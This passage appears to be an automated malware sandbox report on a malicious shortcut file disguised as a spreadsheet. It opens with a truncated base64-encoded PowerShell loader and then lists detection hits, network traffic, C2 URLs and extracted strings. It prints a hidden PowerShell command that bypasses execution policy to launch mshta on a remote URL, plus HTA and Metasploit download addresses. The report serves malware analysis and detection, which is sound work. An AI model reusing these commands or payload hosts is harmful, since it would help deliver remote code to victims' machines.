JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIASAA0AHMASQBBAEEAQQBBAEEAQQBBAEEALwA2ADEAWABhADMATwBpAHoAQgBMACsASABIADgARgBIADEASwBsAFYAawB3AE8AeABNAHYAcQBuAGsAcgBWAEkAaABmAEYAQQBKAEcATABsADUAZwAzAGwAVQBJAFkARQBSAGsAQgBZAFIARABKAHUALwB2AGYAVAA0AE8AYQB6AFoANQBOAHoAdABtAHEAYwA2AHkAaQBIAEcAYQBtAHUANQA5ACsAcAByAHUAbgBNAFIAQwA1AE4AawBqAHMAMgBVAFEASgBIAFUAUgBkAFQAMQBHAGMAZQBHAEYAQQAzAFYAWQBxAGwAMQB2AEwAUgB4ADUASgBRAHUAcQBPACsAbABhAHQAcgBOAEwAQQBKAHMAVgBTAE0AWABoAHgARQBYAG0ASgA0AHQAQgArAHMAUgB3AG4AUgBrAGwAQwAvAFYAMgA1AEcARgB1AHgAdABhAFYAcQBsADMAcwByAGYAdABtAEcAVABvAHAAUgBnAHkAcABmAGkAbwAzAEkAUwBXAE4AVQB2ADcAaQBvAFgASgBSAFQAYQBaAEIAWQBLAC8AUQBTAFcATQBUAGIAbwA1AGMAdABJAHUAdgBRAFMAYwBCAFEANwBZAG0ATgBJAGoANwBjAFcAbAA3AHcALwBQAFUAcgBsADgAWQB4AEMAcwBqAHgALwBXAGEAQQBDAEoAcwBrAGEATAB2AEUASABrAHAAcQBkAGUAbwA3AE4AVgB1AGoARwBGADAALwBMAEQAZgBJAEoAdABUAGYAMQBPAFgATAB6AFEAQwBIAFMAdwB1AGYAdAB1AFcAYwBaAGEALwBCAEsAVABaAHcAaQBqAFUANQB0AEsAMwBDAGcAeABzAGoAdwBoADYAcABWAGYALwA2AHEAMQBwAC8AdQBtAGEAZQBiADQAUgBkAGEAdQBHAGsAVgBqAFgAeQBoAEsARAB0AGoAWQBOAHgAdABVADcAOQBxAEIAYwBHAHoAVAB4AEMAdABhAHIAaQAyAFgARwBZAGgAQwB0AHkATQAvAE8AQwA1AHUAMwBOAHAARQBTAHYAbAB1AEMAVgBJAC8AWgBxAC8AZQBTAFoARwAxAG4AZwB4ACsAZABPAEYAbABxAFAATQByAFUAcQBEAE0AZgBBAEQAWAB2AGsAcwBOAHEAZwBuAGcAcAA3AFQAOAAvAFAAMQBMAGMAMwBOAEgAbwBhAEUARwArAEwAYgBxAFMAQQBvAEQAaQBNAEQAQgBUAHYAUABSAHMAbABOADAATQByAGMARABEAFMAMABRAHIARQBxAGcAawBjAFkAZQBCAFcANgB3AEEAaQBSAGkAUwBOAEEAKwBxAE0AQgBlAFQAMgBvAFkAOQBxAGwAMABHAEsAYwBRAFAAMABQAHYAMgBwADMAdQBlAGEAaQByAEkAegB1AFgAOABxAFYASABzAHYAQgBMAHYARwBKAEsANAAzAFQAagBIAHgASgAzAFEAbwBaAGQAdwBjADEAWQBFADcAdgA2AEYALwBGADEAeAAxACsAUAAwAFcAWQBQAFgASwBqADgAbwBIAG8AZQBvAGcAagBGAHkATABvAEIAYwBDAC8ATAA2AEwAMQBjAHIARgB4AFYATQA1AFIATwBCAFAAYgBSAHcAbQBYAGkAbAAzAFIAOQBFAE4AUwBnAEUAUQBGAGcAbgBqAHYARABoAE8ATQAwADUAUgAvAGYAbgBuACsAUgB6AE4AbgBpAFcAVAB4AHEAZQBLAG0ATABQAFUAUwBlAFoANABQAEUAYwBjAGQAOQBUAFQATgBQAFMAYwA1ADgAcABGAHYAWABLAEsAbgBtAEwAKwBaAFoAbAA2ADIARQBGAHgAcwBmADUANQBOAHYAQgBvADUAUQBXAEkAegB3AE4AcgA2ADkAbgBuAGcASwA5ADkAZABHAFoAbwBoAFYASABKAHgAOAAxADUAbQB3AG8ANABhADkAWABUAEEAbgBMADQARQB6AHYAVgBnAHQAQwBuADMAOABXAEUAcgBVAGYAZQBaAFAAdABIAGMASwB3AE4ANQA1ADQAQQBLAGcAaQBKACsAcQA5AGcAagBtAGQAWQBxADAAcQBCAGcAcgBiAEEAMwAvAEUAZAB3AHYAUgB5AEIAVwBtAEcAegByAHQAUABxAFoAVwBmAHIAUgBmAHYAUgBTAHgAegAyAEUAcQBTAEIAagBWAE8ASQBjAC8AdABCAG0AVQBnAEMAeQBPAG4AUQBiAEYAQgA0AHAAMgBXADIASgBTAEUANQBiAEQANgBFADYANgBTAFkAdQBMAFoAVgBrAEwATwA2AHAANwByAEgAMQBCADYATQBzADIARgBBAFcAUgBNAGEAcwBQAHAAQQBnADIAbQBFAFMASABiAHMAMwBEAEIAUwBvAE0AYQBlAGcANwBxADUANABiAG4AbgBpAEYAVQBQACsAUwBFAHMAegBDAEcAbABBAE4ATgBlAHoAZwBUAG0AQwBtADQATQBFAGcAUgBNADcASABUACsAUABmADQAcQBOADgAWQBpAEUAagBiAEMASwBNAHQANwBDADYAcgBrAEkAZwB0AEYAMgByAE8ASwBhAFAASwBjAEwATgBjADUARgBUAC8AQQArAHgAegBuAGgAeQBUAG8AdQBEAHEAVABOAEkANwAwAEIAQQBBAEIAZwA1AEoAZwA1AHAANgBNAF
          Sigma detected: Non Interactive PowerShell Process Spawned
          Source: Process startedAuthor: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden -ExecutionPolicy Bypass -Command "Start-Process mshta -ArgumentList 'https://iplogger.cn/forensicsas.png'", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden -ExecutionPolicy Bypass -Command "Start-Process mshta -ArgumentList 'https://iplogger.cn/forensicsas.png'", CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3964, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden -ExecutionPolicy Bypass -Command "Start-Process mshta -ArgumentList 'https://iplogger.cn/forensicsas.png'", ProcessId: 7288, ProcessName: powershell.exe
          Sigma detected: Windows Processes Suspicious Parent Directory
          Source: Process startedAuthor: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7684, ProcessName: svchost.exe

          Suricata Signatures

          TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
          2025-03-14T14:21:16.390629+010020244491Attempted User Privilege Gain192.168.2.44971991.218.228.2680TCP
          TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
          2025-03-14T14:21:22.325494+010028167011A Network Trojan was detected91.218.228.2680192.168.2.449719TCP

          Joe Sandbox Signatures

          Click to jump to signature section

          Show All Signature Results

          AV Detection

          barindex
          Antivirus detection for URL or domain
          Source: https://iplogger.cn/forensicsas.png/Avira URL Cloud: Label: phishing
          Source: https://iplogger.cn/forensicsas.pngS_BROWSER_APP_Avira URL Cloud: Label: phishing
          Source: https://mcnn.ru:8443/jquery-3.3.1.slim.min.js:rAvira URL Cloud: Label: malware
          Source: https://iplogger.cn/Avira URL Cloud: Label: phishing
          Source: https://iplogger.cn/forensicsas.pngDAvira URL Cloud: Label: phishing
          Source: https://iplogger.cn/forensicsas.png3Avira URL Cloud: Label: phishing
          Source: https://iplogger.cn/forensicsas.png31536000Avira URL Cloud: Label: phishing
          Source: https://iplogger.cn/forensicsas.pngfAvira URL Cloud: Label: phishing
          Source: https://mcnn.ru:8443/jquery-3.3.1.slim.min.js(rAvira URL Cloud: Label: malware
          Source: https://iplogger.cn/forensicsas.pngeAvira URL Cloud: Label: phishing
          Source: https://mcnn.ru:8443/jquery-3.3.1.slim.min.jsAvira URL Cloud: Label: malware
          Source: https://iplogger.cn/~Avira URL Cloud: Label: phishing
          Source: https://mcnn.ru:8443/jquery-3.3.1.slim.min.js6VAvira URL Cloud: Label: malware
          Source: https://iplogger.cn/forensicsas.png~Avira URL Cloud: Label: phishing
          Source: https://iplogger.cn/forensicsas.pngAvira URL Cloud: Label: phishing
          Source: https://iplogger.cn/forensicsas.pngXAvira URL Cloud: Label: phishing
          Source: https://mcnn.ru/Avira URL Cloud: Label: malware
          Source: http://mcnn.ru/jquery-3.3.1.slim.min.jsAvira URL Cloud: Label: malware
          Antivirus detection for dropped file
          Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\ecols[1].htaAvira: detection malicious, Label: VBS/Dldr.Agent.vrfx
          Found malware configuration
          Source: amsi64_7540.amsi.csvMalware Configuration Extractor: Metasploit {"Headers": "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nReferer: http://code.jquery.com/\r\nAccept-Encoding: gzip, deflate\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko\r\n", "Type": "Metasploit Download", "URL": "http://mcnn.ru/jquery-3.3.1.slim.min.js"}
          Multi AV Scanner detection for submitted file
          Source: ____ ______.xls.lnk.bin.lnkReversingLabs: Detection: 26%
          Source: ____ ______.xls.lnk.bin.lnkVirustotal: Detection: 30%Perma Link
          Joe Sandbox ML detected suspicious sample
          Source: Submited SampleIntegrated Neural Analysis Model: Matched 99.7% probability
          Source: unknownHTTPS traffic detected: 172.67.160.19:443 -> 192.168.2.4:49718 version: TLS 1.2
          Source: Binary string: .pDbY5 source: powershell.exe, 00000000.00000002.1186273619.00007FFC3DC30000.00000004.00000800.00020000.00000000.sdmp
          Source: Binary string: HP_oXC:\Windows\System.Management.Automation.pdb source: powershell.exe, 00000006.00000002.1388672866.00000000074C9000.00000004.00000010.00020000.00000000.sdmp
          Source: Binary string: .textn.pdb ` source: powershell.exe, 00000006.00000002.1368654410.0000000002D90000.00000004.00000020.00020000.00000000.sdmp

          Networking

          barindex
          C2 URLs / IPs found in malware configuration
          Source: Malware configuration extractorURLs: http://mcnn.ru/jquery-3.3.1.slim.min.js
          Source: global trafficTCP traffic: 192.168.2.4:49726 -> 190.2.146.205:8443
          Source: Joe Sandbox ViewASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
          Source: Joe Sandbox ViewASN Name: WORLDSTREAMNL WORLDSTREAMNL
          Source: Joe Sandbox ViewJA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19
          Source: unknownDNS query: name: iplogger.cn
          Source: Network trafficSuricata IDS: 2024449 - Severity 1 - ET EXPLOIT SUSPICIOUS Possible CVE-2017-0199 IE7/NoCookie/Referer HTA dl : 192.168.2.4:49719 -> 91.218.228.26:80
          Source: Network trafficSuricata IDS: 2816701 - Severity 1 - ETPRO MALWARE Possible Malicious VBScript calling PowerShell over HTTP : 91.218.228.26:80 -> 192.168.2.4:49719
          Source: global trafficHTTP traffic detected: GET /forensicsas.png HTTP/1.1Accept: */*Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: iplogger.cnConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET /ecols.hta HTTP/1.1Accept: */*Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Connection: Keep-AliveHost: ecols.ru
          Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
          Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
          Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
          Source: global trafficHTTP traffic detected: GET /forensicsas.png HTTP/1.1Accept: */*Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: iplogger.cnConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET /ecols.hta HTTP/1.1Accept: */*Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Connection: Keep-AliveHost: ecols.ru
          Source: global trafficDNS traffic detected: DNS query: iplogger.cn
          Source: global trafficDNS traffic detected: DNS query: ecols.ru
          Source: global trafficDNS traffic detected: DNS query: mcnn.ru
          Source: powershell.exe, powershell.exe, 00000006.00000002.1389765781.00000000077D0000.00000040.00001000.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1389805083.000000000783A000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1370317295.0000000004CC5000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://code.jquery.com/
          Source: svchost.exe, 00000005.00000002.2373086860.0000020DBBA8C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.ver)
          Source: mshta.exe, 00000002.00000003.1169238850.000001B14895C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ecols.ru/
          Source: mshta.exe, 00000002.00000003.2078431282.000001B148956000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.2080837703.000001B94BBC4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.2078610955.000001B94BAD1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.2079247893.000001B94BB91000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.2078853336.000001B94BB2B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.2079383275.000001B94BB94000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000002.2088137748.000001B94BBDB000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ecols.ru/ecols.hta
          Source: mshta.exe, 00000002.00000002.2087634483.000001B94B52D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ecols.ru/ecols.hta(
          Source: mshta.exe, 00000002.00000003.2077055407.000001B148943000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ecols.ru/ecols.hta...
          Source: mshta.exe, 00000002.00000003.2077055407.000001B148943000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ecols.ru/ecols.hta...4
          Source: mshta.exe, 00000002.00000002.2087634483.000001B94B52D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ecols.ru/ecols.htaD
          Source: mshta.exe, 00000002.00000002.2087634483.000001B94B52D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ecols.ru/ecols.htaP
          Source: mshta.exe, 00000002.00000002.2087634483.000001B94B52D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ecols.ru/ecols.htaT
          Source: mshta.exe, 00000002.00000003.2077055407.000001B148943000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000002.2087103662.000001B148958000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.2078431282.000001B148956000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ecols.ru/ecols.htaTKC:
          Source: mshta.exe, 00000002.00000002.2087634483.000001B94B52D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ecols.ru/ecols.htaX
          Source: mshta.exe, 00000002.00000003.2077055407.000001B148943000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000002.2087103662.000001B148958000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.2078431282.000001B148956000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ecols.ru/ecols.htaY
          Source: mshta.exe, 00000002.00000003.1169190097.000001B94B54A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ecols.ru/ecols.htaru/ecols.htaA
          Source: mshta.exe, 00000002.00000003.2077055407.000001B148943000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000002.2087103662.000001B148958000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.2078431282.000001B148956000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ecols.ru/ecols.htas.png~
          Source: svchost.exe, 00000005.00000003.1211090216.0000020DBB798000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.5.dr, edb.log.5.drString found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
          Source: edb.log.5.drString found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
          Source: edb.log.5.drString found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
          Source: edb.log.5.drString found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
          Source: svchost.exe, 00000005.00000003.1211090216.0000020DBB798000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.5.dr, edb.log.5.drString found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
          Source: svchost.exe, 00000005.00000003.1211090216.0000020DBB798000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.5.dr, edb.log.5.drString found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
          Source: svchost.exe, 00000005.00000003.1211090216.0000020DBB7CD000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.5.dr, edb.log.5.drString found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
          Source: edb.log.5.drString found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
          Source: powershell.exe, 00000000.00000002.1175679720.00000205748CC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1156807846.0000020566129000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1175679720.0000020574A02000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2059208626.000001E1D0823000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2059208626.000001E1D06E0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1382248319.0000000005BA9000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://nuget.org/NuGet.exe
          Source: powershell.exe, 00000006.00000002.1370317295.0000000004CC5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1386504166.000000000715D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pesterbdd.com/images/Pester.png
          Source: powershell.exe, 00000000.00000002.1156807846.0000020564851000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2000051277.000001E1C0671000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1370317295.0000000004B41000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
          Source: powershell.exe, 00000000.00000002.1156807846.0000020565CB8000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
          Source: powershell.exe, 00000006.00000002.1370317295.0000000004CC5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1386504166.000000000715D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
          Source: powershell.exe, 00000003.00000002.2068241616.000001E1D8880000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.microsoft.co
          Source: powershell.exe, 00000000.00000002.1156807846.0000020564851000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2000051277.000001E1C0671000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://aka.ms/pscore68
          Source: powershell.exe, 00000006.00000002.1370317295.0000000004B41000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://aka.ms/pscore6lB
          Source: powershell.exe, 00000006.00000002.1382248319.0000000005BA9000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/
          Source: powershell.exe, 00000006.00000002.1382248319.0000000005BA9000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/Icon
          Source: powershell.exe, 00000006.00000002.1382248319.0000000005BA9000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/License
          Source: svchost.exe, 00000005.00000003.1211090216.0000020DBB842000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.5.dr, edb.log.5.drString found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
          Source: edb.log.5.drString found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
          Source: edb.log.5.drString found in binary or memory: https://g.live.com/odclientsettings/ProdV2
          Source: edb.log.5.drString found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
          Source: svchost.exe, 00000005.00000003.1211090216.0000020DBB842000.00000004.00000800.00020000.00000000.sdmp, edb.log.5.drString found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
          Source: powershell.exe, 00000006.00000002.1370317295.0000000004CC5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1386504166.000000000715D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://github.com/Pester/Pester
          Source: powershell.exe, 00000003.00000002.2000051277.000001E1C1878000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://go.micro
          Source: mshta.exe, 00000002.00000002.2087019154.000001B148900000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.2078490513.000001B1488F4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.2085620199.000001B1488FF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.2077055407.000001B1488FF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://iplogger.cn/
          Source: mshta.exe, 00000002.00000003.2078490513.000001B1488F4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1169238850.000001B14895C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.2086121058.000001B1488BD000.00000004.00000020.00020000.00000000.sdmp, ____ ______.xls.lnk.bin.lnkString found in binary or memory: https://iplogger.cn/forensicsas.png
          Source: mshta.exe, 00000002.00000002.2086880000.000001B1488A6000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://iplogger.cn/forensicsas.png/
          Source: mshta.exe, 00000002.00000002.2086942294.000001B1488BD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.2078490513.000001B1488BC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.2086121058.000001B1488BD000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://iplogger.cn/forensicsas.png3
          Source: mshta.exe, 00000002.00000003.1169238850.000001B14895C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://iplogger.cn/forensicsas.png31536000
          Source: mshta.exe, 00000002.00000002.2086880000.000001B1488A6000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://iplogger.cn/forensicsas.pngD
          Source: mshta.exe, 00000002.00000002.2087288383.000001B148BF0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://iplogger.cn/forensicsas.pngS_BROWSER_APP_
          Source: mshta.exe, 00000002.00000002.2087634483.000001B94B510000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://iplogger.cn/forensicsas.pngX
          Source: mshta.exe, 00000002.00000002.2086880000.000001B148880000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://iplogger.cn/forensicsas.pnge
          Source: mshta.exe, 00000002.00000002.2086880000.000001B1488A6000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://iplogger.cn/forensicsas.pngf
          Source: mshta.exe, 00000002.00000003.1169238850.000001B14895C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://iplogger.cn/forensicsas.png~
          Source: mshta.exe, 00000002.00000002.2087019154.000001B148900000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.2078490513.000001B1488F4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.2085620199.000001B1488FF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.2077055407.000001B1488FF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://iplogger.cn/~
          Source: mshta.exe, 00000002.00000002.2086942294.000001B1488BD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.2078490513.000001B1488BC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.2086121058.000001B1488BD000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com
          Source: powershell.exe, 00000006.00000002.1386881963.00000000071C5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://mcnn.ru/
          Source: powershell.exe, 00000006.00000002.1368654410.0000000002D90000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1389805083.000000000783F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://mcnn.ru:8443/jquery-3.3.1.slim.min.js
          Source: powershell.exe, 00000006.00000002.1368654410.0000000002D90000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://mcnn.ru:8443/jquery-3.3.1.slim.min.js(r
          Source: powershell.exe, 00000006.00000002.1389805083.000000000783F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://mcnn.ru:8443/jquery-3.3.1.slim.min.js6V
          Source: powershell.exe, 00000006.00000002.1368654410.0000000002D90000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://mcnn.ru:8443/jquery-3.3.1.slim.min.js:r
          Source: powershell.exe, 00000000.00000002.1175679720.00000205748CC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1156807846.0000020566129000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1175679720.0000020574A02000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2059208626.000001E1D0823000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2059208626.000001E1D06E0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1382248319.0000000005BA9000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://nuget.org/nuget.exe
          Source: svchost.exe, 00000005.00000003.1211090216.0000020DBB842000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.5.dr, edb.log.5.drString found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
          Source: edb.log.5.drString found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:
          Source: powershell.exe, 00000000.00000002.1156807846.0000020565CB8000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://oneget.org
          Source: powershell.exe, 00000000.00000002.1156807846.0000020565CB8000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://oneget.orgX
          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49718
          Source: unknownNetwork traffic detected: HTTP traffic on port 49718 -> 443
          Source: unknownHTTPS traffic detected: 172.67.160.19:443 -> 192.168.2.4:49718 version: TLS 1.2

          E-Banking Fraud

          barindex
          Malicious encrypted Powershell command line found
